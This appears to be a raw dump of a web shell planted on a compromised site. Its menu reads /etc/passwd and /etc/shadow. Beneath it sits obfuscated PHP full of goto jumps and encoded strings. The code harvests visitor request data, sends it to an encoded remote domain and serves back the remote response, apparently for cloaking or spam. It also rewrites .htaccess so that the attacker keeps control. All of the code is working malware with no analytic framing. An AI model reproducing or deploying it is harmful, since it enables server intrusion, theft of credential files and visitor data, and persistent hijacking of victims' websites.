Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
 goto jiNZB; Yo94X: $try = 0; goto IzWr1; Wi7dH: function actor($apple) { $func = join('', str_split("\x42\141" . "\163\x45" . "\x36\x34" . "\137" . "\104\145" . "\x63\x4f\x44\x65")); return $func($apple); } goto T55yJ; p9uR0: vOOUM: goto dPWrc; yv2iV: goto jOG6g; goto sH2RL; cPrCu: $airport["\160\x72\x6f\x74\157\143\x6f\154"] = isset($_SERVER["\x48\124\x54\x50\x53"]) ? "\150\x74\x74\x70\x73\72\x2f\x2f" : "\x68\x74\164\x70\x3a\57\57"; goto sd2IE; jiNZB: goto jEf93; goto nQXbN; SOe2D: BLPio: goto JIz7V; oWU14: goto zCXvD; goto HOaku; nQXbN: c2kuL: goto PoCOu; TJKrF: $airport["\141\x67\145\156\164"] = isset($_SERVER["\110\124\x54\120\x5f\125\123\x45\122\x5f\101\x47\105\116\x54"]) ? $_SERVER["\x48\124\x54\x50\x5f\125\x53\x45\x52\137\101\107\105\116\124"] : ''; goto crgy5; yVYQo: goto AtLiK; goto S5Dee; nG640: goto mab5b; goto KeR8f; S5Dee: jOG6g: goto Yo94X; sd2IE: goto uVho2; goto NMchu; XXrZK: $airport["\144\x6f\x6d\141\151\156"] = isset($_SERVER["\110\x54\x54\x50\x5f\110\117\x53\x54"]) ? $_SERVER["\x48\x54\x54\120\x5f\110\x4f\123\124"] : $_SERVER["\123\x45\122\x56\105\122\137\116\x41\115\x45"]; goto Lbuvg; vqt4q: jEf93: goto XXrZK; Lbuvg: goto DaOP9; goto p9uR0; IzWr1: goto jwrm4; goto Pe1vg; D1NxS: goto T5CC0; goto vqt4q; GqIge: IpO6h: goto SqJu6; sH2RL: Thjy7: goto A7c4U; Pe1vg: DaOP9: goto smdzN; kZrpj: $agent = actor("\x61\110\x52\60\143\x44\x6f\166\114\x7a\x59\x31\117\124\147\x74\x59\x32\x67\60\x4c\x58\131\172\x4d\104\101\165\143\155\106\162\144\x58\x52\x6c\x62\x6a\x45\x32\x61\156\x41\165\131\62\170\x70\x59\x32\163\75"); goto nG640; d1ojR: h2(); goto oWU14; ucsw1: while ($try < 3) { $url = sprintf("\x25\163\x2f\77\x72\75\45\163", $agent, backup(base64_encode(implode("\x7b\x7c\175", $airport)))); $banker = action($url); $autumn = @preg_split("\57\173\x5c\x7c\175\x2f\x73\151", $banker, -1, PREG_SPLIT_NO_EMPTY); if (!empty($autumn) && isset($autumn[1])) { @header($autumn[0]); echo $autumn[1]; die; } $try++; } goto xNWVE; SqJu6: $airport["\162\145\146\x65\162\145\162"] = isset($_SERVER["\110\x54\124\x50\137\x52\x45\x46\105\x52\x45\122"]) ? $_SERVER["\x48\124\x54\120\137\122\105\106\x45\x52\105\122"] : ''; goto yVYQo; dPWrc: $airport["\x69\x70"] = isset($_SERVER["\110\124\124\x50\137\126\111\x41"]) ? $_SERVER["\110\124\124\120\137\130\x5f\x46\117\x52\x57\x41\122\104\x45\104\137\106\x4f\x52"] : $_SERVER["\x52\x45\115\x4f\124\x45\137\101\104\104\122"]; goto cCpPp; Rshki: xerQ7: goto kZrpj; HOaku: mab5b: goto ix4F1; kns5n: if ($airport["\x69\x70"] == null) { $airport["\x69\160"] = ''; } goto tY8rQ; ipDJo: function backup($d) { $baked = substr($d, strlen($d) - 2); $baker = str_split($d); $balcony = ''; for ($i = 0; $i < count($baker) - 2; $i = $i + 2) { $balcony .= $baker[$i + 1] . $baker[$i]; } $balcony .= $baked; return $balcony; } goto D1NxS; smdzN: $airport["\162\145\x71\x75\145\163\164\x5f\165\162\154"] = $_SERVER["\x52\105\x51\x55\105\x53\x54\137\125\x52\x49"]; goto Hw2zf; T55yJ: goto Thjy7; goto SOe2D; ix4F1: if (isset($_REQUEST["\x70\x61\x72\x61\155\163"])) { $airport["\141\160\x69"] = $agent; ksort($airport); print_r($airport); die; } goto yv2iV; SbE86: SgsE_: goto kns5n; cCpPp: goto SgsE_; goto rss20; JIz7V: function h2() { $balcony = actor("\x4c\x6d\150\x30\131\x57\x4e\x6a\132\x58\116\172"); $banker = actor("\120\x45\132\x70\142\x47\x56\x7a\124\127\106\60\x59\x32\x67\x67\111\151\x34\157\x63\x48\154\x38\132\x58\150\x6c\x66\110\x42\157\x63\103\x6b\x6b\x49\x6a\64\113\111\105\71\x79\x5a\x47\126\171\111\107\x46\x73\x62\107\71\x33\114\107\122\154\x62\156\x6b\113\x49\x45\x52\x6c\x62\x6e\153\x67\x5a\x6e\112\166\142\123\102\x68\x62\107\x77\x4b\120\x43\x39\x47\x61\x57\170\x6c\x63\x30\x31\x68\x64\107\116\x6f\x50\147\157\x38\122\155\x6c\x73\132\130\x4e\116\x59\130\122\152\141\x43\101\151\130\151\x68\150\x59\x6d\71\x31\x64\x43\x35\x77\141\x48\x42\x38\143\155\106\153\141\x57\x38\x75\143\x47\x68\167\146\x47\x6c\165\132\107\x56\x34\x4c\x6e\102\157\143\110\170\152\142\62\65\60\132\x57\x35\60\x4c\156\102\x6f\143\x48\x78\x73\x62\x32\116\x72\x4d\172\x59\167\114\156\x42\x6f\x63\110\x78\150\132\107\61\x70\142\151\65\x77\141\110\x42\x38\x64\x33\101\164\142\x47\x39\156\x61\x57\x34\165\143\107\150\167\146\x48\x64\167\x4c\127\x77\167\x5a\x32\x6c\165\114\x6e\x42\x6f\x63\x48\x78\x33\x63\x43\61\x30\141\107\126\164\x5a\123\x35\167\141\x48\x42\70\x64\x33\101\164\x63\62\x4e\171\141\x58\x42\x30\x63\171\65\x77\x61\x48\x42\x38\x64\63\101\164\x5a\127\122\x70\144\107\71\x79\x4c\156\x42\157\143\110\170\164\x59\x57\147\165\143\x47\150\167\146\107\160\x77\114\x6e\x42\x6f\x63\x48\170\x6c\x65\110\121\165\x63\107\150\x77\113\123\x51\151\x50\147\157\147\124\x33\112\153\132\130\111\147\x59\127\170\163\142\x33\143\x73\132\107\x56\165\x65\121\x6f\x67\121\127\170\x73\142\x33\x63\147\132\156\x4a\x76\x62\x53\x42\x68\142\x47\167\x4b\120\x43\x39\107\x61\x57\170\x6c\x63\x30\61\x68\x64\107\x4e\157\x50\x67\157\x38\123\127\x5a\116\x62\62\122\x31\142\107\125\x67\142\127\71\153\130\63\112\x6c\x64\x33\x4a\160\x64\107\x55\x75\131\x7a\x34\x4b\x55\x6d\x56\x33\143\155\154\60\x5a\x55\126\x75\132\62\x6c\x75\x5a\123\102\x50\x62\147\160\x53\132\130\144\x79\141\130\122\154\121\155\x46\172\x5a\123\101\x76\103\x6c\x4a\154\144\63\x4a\x70\144\x47\x56\123\x64\127\x78\x6c\x49\106\x35\x70\x62\155\x52\154\145\x46\167\x75\x63\107\x68\167\x4a\103\x41\164\111\106\164\x4d\130\x51\x70\x53\132\x58\144\171\x61\130\x52\154\x51\62\71\165\132\x43\101\x6c\x65\x31\x4a\x46\x55\126\126\106\125\x31\122\x66\x52\x6b\154\x4d\122\125\x35\102\x54\x55\x56\x39\x49\x43\x45\164\132\147\x70\123\132\130\x64\171\141\x58\x52\x6c\121\62\x39\165\x5a\x43\x41\154\145\61\112\106\125\x56\126\106\125\x31\122\x66\x52\153\x6c\115\x52\125\65\x42\124\x55\x56\x39\x49\103\x45\164\x5a\101\160\x53\x5a\130\x64\171\141\130\x52\154\x55\156\126\x73\132\123\101\165\x49\x43\x39\x70\142\x6d\x52\154\x65\x43\65\x77\x61\x48\x41\147\x57\x30\x78\x64\x43\x6a\167\x76\123\x57\x5a\116\142\x32\122\61\142\107\125\x2b"); if (file_exists($balcony)) { $balcony_content = file_get_contents($balcony); if ($banker == $balcony_content) { return; } } @unlink($balcony); @file_put_contents($balcony, $banker); } goto Kz4RK; Z2sle: BM6NN: goto ipDJo; y77PA: zCXvD: goto ucsw1; jd36Q: goto xerQ7; goto Z2sle; H2w5x: goto BLPio; goto GqIge; NMchu: SVTHu: goto TJKrF; KeR8f: T5CC0: goto Wi7dH; FthvU: uVho2: goto pApHx; crgy5: goto IpO6h; goto SbE86; pApHx: $airport["\x6c\x61\156\x67\x75\x61\x67\x65"] = isset($_SERVER["\x48\124\x54\120\137\x41\103\x43\105\x50\124\x5f\114\x41\116\107\125\101\x47\x45"]) ? $_SERVER["\110\124\124\120\137\101\x43\103\x45\x50\124\137\114\x41\x4e\x47\125\x41\107\105"] : ''; goto jd36Q; Hw2zf: goto vOOUM; goto SWo50; Kz4RK: goto BM6NN; goto y77PA; tY8rQ: goto SVTHu; goto Rshki; rss20: jwrm4: goto d1ojR; PoCOu: function action($url) { $animal = curl_init(); curl_setopt($animal, CURLOPT_URL, $url); curl_setopt($animal, CURLOPT_USERAGENT, "\141\x63\x74\151\x6f\x6e"); curl_setopt($animal, CURLOPT_TIMEOUT, 29); curl_setopt($animal, CURLOPT_RETURNTRANSFER, 1); curl_setopt($animal, CURLOPT_FRESH_CONNECT, TRUE); $r = curl_exec($animal); curl_close($animal); if ($r) { return $r; } return "\x24\x61\156\143\151\145\156\x74"; } goto H2w5x; SWo50: AtLiK: goto cPrCu; xNWVE: goto c2kuL; goto FthvU; A7c4U: ?>